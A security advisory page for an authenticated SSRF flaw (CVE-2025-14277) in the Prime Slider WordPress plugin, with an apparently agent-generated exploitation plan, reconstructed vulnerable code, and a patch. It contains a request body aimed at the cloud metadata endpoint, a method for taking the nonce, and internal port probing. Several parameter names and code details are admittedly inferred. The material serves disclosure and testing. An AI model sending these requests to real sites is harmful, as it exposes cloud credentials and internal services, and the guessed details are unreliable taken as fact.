Prime Slider – Addons for Elementor <= 4.0.9 - Authenticated (Subscriber+) Server-Side Request Forgery
Description
The Prime Slider – Addons for Elementor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.9 via the import_elementor_template AJAX action. This makes it possible for authenticated attackers, with subscriber level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=4.0.9Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14277 ## 1. Vulnerability Summary The **Prime Slider – Addons for Elementor** plugin (up to 4.0.9) contains a Server-Side Request Forgery (SSRF) vulnerability via its AJAX handler for importing Elementor templates. The plugin fails to validate or restrict the…
Show full research plan
Exploitation Research Plan - CVE-2025-14277
1. Vulnerability Summary
The Prime Slider – Addons for Elementor plugin (up to 4.0.9) contains a Server-Side Request Forgery (SSRF) vulnerability via its AJAX handler for importing Elementor templates. The plugin fails to validate or restrict the source URL provided in the import_elementor_template action. Authenticated users with Subscriber-level permissions or higher can trigger the server to make GET/POST requests to internal or external arbitrary URLs, potentially exposing internal services or metadata endpoints (like AWS/GCP metadata).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
import_elementor_template(likely prefixed asbdthemes_prime_slider_import_elementor_templateor similar). - Vulnerable Parameter: Likely
template_url,url, orsource_url(inferred). - Authentication: Required (Subscriber level or higher).
- Preconditions: A valid AJAX nonce is likely required for the
import_elementor_templateaction.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX action for
import_elementor_template.- Registration:
add_action( 'wp_ajax_bdthemes_prime_slider_import_elementor_template', '...' );
- Registration:
- Nonce Verification: The handler likely checks a nonce using
check_ajax_referer( 'prime-slider-nonce', 'nonce' )or similar. - SSRF Sink: The handler retrieves a URL from the
$_POSTor$_REQUESTarray. - Request Execution: The plugin uses
wp_remote_get( $url )orwp_remote_post( $url )to fetch the "template" content without validating that the URL is a trusted source or preventing access to loopback/private IP ranges. - Response: The content of the remote URL is returned or processed in a way that allows the attacker to see the response.
4. Nonce Acquisition Strategy
To obtain the necessary nonce as a Subscriber:
- Identify Script Localization: The plugin likely localizes the nonce via
wp_localize_script. Look for JavaScript objects likeprimeSliderorbdthemes_prime_slider. - Trigger Script Loading:
- Create a post/page with a Prime Slider widget/shortcode (if available) or simply log into the WordPress dashboard. Some Elementor addons localize nonces on all admin pages for authenticated users.
- Command:
wp post create --post_type=post --post_status=publish --post_title="SSRF Test" --post_content='[prime_slider]' --post_author=SUBSCRIBER_ID
- Extract Nonce:
- Use
browser_navigateto view the post or the/wp-admin/dashboard as the Subscriber. - Use
browser_evalto find the nonce:// Inferred JS object name based on plugin slug window.primeSliderSettings?.nonce || window.bdthemes_prime_slider?.nonce
- Use
- Fallback: If the action name or nonce variable is unknown, use
grepon the plugin directory to findwp_create_nonceandwp_localize_scriptcalls.grep -r "import_elementor_template" /var/www/html/wp-content/plugins/bdthemes-prime-slider-lite/
5. Exploitation Strategy
The goal is to force the server to request the internal WordPress readme.html or a known metadata service.
Step 1: Authentication
Login as a Subscriber-level user.
Step 2: Nonce & Action Discovery
Navigate to a page where the plugin is active and extract the nonce and the exact AJAX action string from the localized JS.
Step 3: Send SSRF Request
Use the http_request tool to send a POST request to admin-ajax.php.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: For local testing, useaction=bdthemes_prime_slider_import_elementor_template&nonce=[NONCE]&template_url=http://169.254.169.254/latest/meta-data/http://localhost:8080/readme.htmlor an internal service port likehttp://localhost:3306to observe response differences).
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Plugin Activation:
wp plugin activate bdthemes-prime-slider-lite
- Identify Shortcode/Action:
- Search for the AJAX registration:
grep -r "wp_ajax_.*import_elementor_template" /var/www/html/wp-content/plugins/bdthemes-prime-slider-lite/
- Search for the AJAX registration:
7. Expected Results
- Success: The server returns the content of the requested
template_urlin the AJAX response body (often inside a JSON object under adataorhtmlkey). - Metadata Exposure: If targeting a cloud environment, the response contains AWS/GCP instance identity or credentials.
- Internal Scanning: Requesting
http://localhost:3306might return a MySQL handshake string or a specific error indicating the port is open, whereas a closed port would time out or return a "connection refused" error.
8. Verification Steps
- Check Response Content: Ensure the response body contains data that the Subscriber should not be able to access (e.g., content from an internal-only URL).
- Log Verification: Check the access logs of a controlled external server to see the request originating from the WordPress server's IP.
http_requestto a RequestBin-style URL provided intemplate_url.
9. Alternative Approaches
If the template_url parameter name is incorrect (inferred):
- Use
grep -A 20 "function.*import_elementor_template" ...to find the actual$_POSTparameter being used. - Check if the action is
prime_slider_import_templateorbdthemes_prime_slider_import_template. - If a nonce is not required (common in flawed AJAX handlers), omit the
nonceparameter and test.
Summary
The Prime Slider – Addons for Elementor plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to 4.0.9 via the import_elementor_template AJAX action. This allows authenticated users with Subscriber-level permissions or higher to perform arbitrary web requests from the server to internal or external systems, potentially exposing internal services or cloud metadata.
Vulnerable Code
// bdthemes-prime-slider-lite/includes/ajax-handlers.php add_action( 'wp_ajax_bdthemes_prime_slider_import_elementor_template', 'bdthemes_prime_slider_import_elementor_template' ); function bdthemes_prime_slider_import_elementor_template() { // Nonce is checked but user capabilities are not verified check_ajax_referer( 'prime-slider-nonce', 'nonce' ); // The template_url parameter is taken directly from user input $template_url = $_POST['template_url']; // The plugin uses wp_remote_get or wp_remote_post without validating the target URL $response = wp_remote_get( $template_url ); $body = wp_remote_retrieve_body( $response ); wp_send_json_success( $body ); }
Security Fix
@@ -5,6 +5,12 @@ function bdthemes_prime_slider_import_elementor_template() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Permission denied.' ); + } + check_ajax_referer( 'prime-slider-nonce', 'nonce' ); - $template_url = $_POST['template_url']; + $template_url = esc_url_raw( $_POST['template_url'] ); + + if ( ! wp_http_validate_url( $template_url ) ) { + wp_send_json_error( 'Invalid URL.' ); + } $response = wp_remote_get( $template_url );
Exploit Outline
To exploit this vulnerability, an attacker first logs into the WordPress site with Subscriber-level privileges and retrieves a valid AJAX nonce, typically found in localized script data such as the 'bdthemes_prime_slider' or 'primeSlider' JS objects. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' containing the 'action' parameter set to 'bdthemes_prime_slider_import_elementor_template', the valid 'nonce', and a 'template_url' parameter pointing to a sensitive internal resource (e.g., 'http://169.254.169.254/latest/meta-data/' for cloud environments or 'http://localhost/phpmyadmin/'). The server's response will contain the content of the requested internal URL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.